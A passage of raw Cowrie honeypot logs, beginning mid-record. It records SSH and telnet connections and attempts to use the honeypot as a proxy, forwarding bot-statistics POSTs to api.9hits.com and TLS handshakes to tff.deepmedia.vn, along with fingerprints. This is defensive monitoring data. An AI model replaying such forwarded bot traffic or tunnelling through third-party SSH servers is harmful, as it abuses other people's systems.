\\xda\\xadD\\x16\\xa4\\xf1\\xf2h\\xc8g?=\\x80\\x91\\x9b\\x19\\xab\\xfe\\x1b\\xa4\\x04\"\\xf2\\xe79?\\x9f\\xca}z#h\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:59.342283Z","src_ip":"63.141.242.2","session":"51f2ac520dd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.65.170.8","src_port":51708,"dst_ip":"159.203.135.109","dst_port":23,"session":"134f0b7d333e","protocol":"telnet","message":"New connection: 50.65.170.8:51708 (159.203.135.109:23) [session: 134f0b7d333e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:59.437484Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:59.597351Z","session":"09a7e166b974","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:59.711276Z","session":"09a7e166b974","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:59.974970Z","src_ip":"123.27.168.40","session":"09a7e166b974","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1174\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 7.0; TECNO i3 Pro Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36 EdgA/91.0.864.48\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=SSMxS0t3JE9WQEdhVX1ncg%3D%3DxjYnHPxdqedGFeAF73WsPPG8BXkFRS%2BlyFTuzurWUCuH31B8%2BypUFtezec%2F%2BYNPGUM9Vun4B8aguF4zYvPpxXeJtkESKe5Z2ZxQy6wUiAswDFPyzksb%2FKw4SPpLPnYo0daRoJxTK1CGjDp%2BYkOKeB7TOqZtRJG%2BZdv7NWC%2By93VE%2BPQvHXNdMbRraFFRP7t0jc2ssUz6Fmb%2BZjHv%2BMWY91XBpNqnsoLptHB21DFWknJu3u98MkxWbt%2Bcyi%2F17MOvtL%2BoF55sEWTtIH1hMpAn%2Fsg2CQJZnUJONLOsR7jKl2UIEJfWoz79V2cnny5%2B2zTp1hs7bAkzSFiq%2Fn3tIfzZ5TFpKenkwp2rZTu%2FH%2B9U1Sxxnl4sgm4lgtA7WWykFSaKMKAiz9C19v9oQjuMCxMAFD7vpcR2MNm2268hJyzlu9dlQQL5EB%2FBhbVpOT%2F57l1Tezjps0%2BjjWLJSeKzGhpFHENUPU5gfFxFX7K9iFi7Gs6QjoBrqThoR7q%2FnWJ5aSuQUyyybjb2G9Y9fRYNj9gfCFNJgu3I6Z2oZd6NMMuL6fTcLl1W6bRTzlq%2Bau3EvXjt3i3Xtv2NzS8Iwm0EN5DSxMWXwu2DSEY9XwxAiUpdWCiU0BSIHzqYg%2FF3JH30h4hJyCi0NR4QiaRTMO5tu%2BMBHjus%2F4FkNl8seAKXL6oVz66T9mCkYwYAltIwkfkJVDjS5cifrVEQ9geLMql%2BZyFuJpyKCuJ5aeQXHw%2Fu5PBzzx7EdZOi5gGp9NYs9L9AsKc994H5nndF87naEuQpIxMovaI8z6BIKarBADvNYK0sot4owOgcQY5PmPnem6Ljb%2F%2Fde4q3ZffB8P1y%2FnG65QfWI0KmFwtGmjnvxTTiejzbM4NH8hoCgFe103jf%2F7jdz5tndPKthaj5YKQ5kB4VMi7i5CBd2KAmlVzJ6J9rd%2F2Be8OQ54KvqIYLDa76i2atHm2yNz6B%2FEvBkgYrJNqJ9ygU5HsJ8einRkGKF7aD%2Bs1ykgnP908HDbhkira4SRKTwfJ3Fy%2BswnJ64nEzKGg875Jbjh115klq58sVCAq1MBbEdCU%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1174\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 7.0; TECNO i3 Pro Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36 EdgA/91.0.864.48\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=SSMxS0t3JE9WQEdhVX1ncg%3D%3DxjYnHPxdqedGFeAF73WsPPG8BXkFRS%2BlyFTuzurWUCuH31B8%2BypUFtezec%2F%2BYNPGUM9Vun4B8aguF4zYvPpxXeJtkESKe5Z2ZxQy6wUiAswDFPyzksb%2FKw4SPpLPnYo0daRoJxTK1CGjDp%2BYkOKeB7TOqZtRJG%2BZdv7NWC%2By93VE%2BPQvHXNdMbRraFFRP7t0jc2ssUz6Fmb%2BZjHv%2BMWY91XBpNqnsoLptHB21DFWknJu3u98MkxWbt%2Bcyi%2F17MOvtL%2BoF55sEWTtIH1hMpAn%2Fsg2CQJZnUJONLOsR7jKl2UIEJfWoz79V2cnny5%2B2zTp1hs7bAkzSFiq%2Fn3tIfzZ5TFpKenkwp2rZTu%2FH%2B9U1Sxxnl4sgm4lgtA7WWykFSaKMKAiz9C19v9oQjuMCxMAFD7vpcR2MNm2268hJyzlu9dlQQL5EB%2FBhbVpOT%2F57l1Tezjps0%2BjjWLJSeKzGhpFHENUPU5gfFxFX7K9iFi7Gs6QjoBrqThoR7q%2FnWJ5aSuQUyyybjb2G9Y9fRYNj9gfCFNJgu3I6Z2oZd6NMMuL6fTcLl1W6bRTzlq%2Bau3EvXjt3i3Xtv2NzS8Iwm0EN5DSxMWXwu2DSEY9XwxAiUpdWCiU0BSIHzqYg%2FF3JH30h4hJyCi0NR4QiaRTMO5tu%2BMBHjus%2F4FkNl8seAKXL6oVz66T9mCkYwYAltIwkfkJVDjS5cifrVEQ9geLMql%2BZyFuJpyKCuJ5aeQXHw%2Fu5PBzzx7EdZOi5gGp9NYs9L9AsKc994H5nndF87naEuQpIxMovaI8z6BIKarBADvNYK0sot4owOgcQY5PmPnem6Ljb%2F%2Fde4q3ZffB8P1y%2FnG65QfWI0KmFwtGmjnvxTTiejzbM4NH8hoCgFe103jf%2F7jdz5tndPKthaj5YKQ5kB4VMi7i5CBd2KAmlVzJ6J9rd%2F2Be8OQ54KvqIYLDa76i2atHm2yNz6B%2FEvBkgYrJNqJ9ygU5HsJ8einRkGKF7aD%2Bs1ykgnP908HDbhkira4SRKTwfJ3Fy%2BswnJ64nEzKGg875Jbjh115klq58sVCAq1MBbEdCU%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:59.978202Z","src_ip":"123.27.168.40","session":"09a7e166b974","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:46:00.199007Z","src_ip":"123.27.168.40","session":"09a7e166b974","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03L\\xcd;\\x1d?\\r\\xf6\\x1eS\\x00\\x80\\xd4\\xef\\xe9IJ\\x87\\r\\x820j\\xdbYj_\\xf31s \\xa7\\xaa\\x02 \\xe2\\xf9\\xb8#\\xde\\x92#y\\xb3\\xa6\\xabv\\xbe{\\x0cj\\xcc\\xa3\\x88\\x08G\\xbc\\xd4\\x82\\x0e\\x11\\xff<\\xfd](\\xbd\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9f\\x16\\xb7I\\xf1{\\x10\\xeda\\x947\\xae$\\x1d\\x98#?\\xda\\xc83\\xf0k\\x1b\\xcd\\x07\\x97N\\x97R=\\xe2v\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03L\\xcd;\\x1d?\\r\\xf6\\x1eS\\x00\\x80\\xd4\\xef\\xe9IJ\\x87\\r\\x820j\\xdbYj_\\xf31s \\xa7\\xaa\\x02 \\xe2\\xf9\\xb8#\\xde\\x92#y\\xb3\\xa6\\xabv\\xbe{\\x0cj\\xcc\\xa3\\x88\\x08G\\xbc\\xd4\\x82\\x0e\\x11\\xff<\\xfd](\\xbd\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9f\\x16\\xb7I\\xf1{\\x10\\xeda\\x947\\xae$\\x1d\\x98#?\\xda\\xc83\\xf0k\\x1b\\xcd\\x07\\x97N\\x97R=\\xe2v\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:46:00.203691Z","src_ip":"123.27.168.40","session":"09a7e166b974","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:46:00.646238Z","session":"09a7e166b974","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:46:00.874149Z","src_ip":"123.27.168.40","session":"09a7e166b974","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x88\\xef\\xc9\\xcbgo\\xb0K4\\xec\\xda\\xbc8t]\\x91Mt\\xa9kq\\x1a\\x9e\\x92\\xabg\\xa1\\x8a?\\xf7\\xb8\\x8d +\\xe8\\x02\\xc5\\\\2\\x88\\x0c\\xd6K\\x02\\x87y \\x9b\\xa8V\\x06\\x07cU\\x85\\x7f\\xb5\\xfap\\x87\\xa8g\\xf2\\xa4\\xdf\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xeb\\xee\\x17\\xa3\\xabY\\x1dK5y\\x85\\x0c\\x1b\\xaf\\xbb\\xa1u\\xf8i\\xa6\\x1fG.,\\xfd\\x100O\\x81\\xce\\x9b\\x1c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x88\\xef\\xc9\\xcbgo\\xb0K4\\xec\\xda\\xbc8t]\\x91Mt\\xa9kq\\x1a\\x9e\\x92\\xabg\\xa1\\x8a?\\xf7\\xb8\\x8d +\\xe8\\x02\\xc5\\\\2\\x88\\x0c\\xd6K\\x02\\x87y \\x9b\\xa8V\\x06\\x07cU\\x85\\x7f\\xb5\\xfap\\x87\\xa8g\\xf2\\xa4\\xdf\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xeb\\xee\\x17\\xa3\\xabY\\x1dK5y\\x85\\x0c\\x1b\\xaf\\xbb\\xa1u\\xf8i\\xa6\\x1fG.,\\xfd\\x100O\\x81\\xce\\x9b\\x1c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:46:00.877620Z","src_ip":"123.27.168.40","session":"09a7e166b974","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:46:01.242720Z","src_ip":"123.27.168.40","session":"09a7e166b974","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":60642,"dst_ip":"159.203.135.109","dst_port":23,"session":"93b1496e2f68","protocol":"telnet","message":"New connection: 172.81.62.90:60642 (159.203.135.109:23) [session: 93b1496e2f68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:46:05.311327Z"}
{"eventid":"cowrie.session.closed","duration":120.00089001655579,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:46:06.118768Z","src_ip":"50.65.170.8","session":"0cd66adb1b99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"19.1","message":"Connection lost after 19.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:46:08.085425Z","src_ip":"63.141.242.2","session":"51f2ac520dd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":52904,"dst_ip":"10.17.0.5","dst_port":22,"session":"927f8232ccc6","protocol":"ssh","message":"New connection: 113.164.152.20:52904 (10.17.0.5:22) [session: 927f8232ccc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:46:25.178893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:46:25.183211Z","src_ip":"113.164.152.20","session":"927f8232ccc6","protocol":"ssh"}
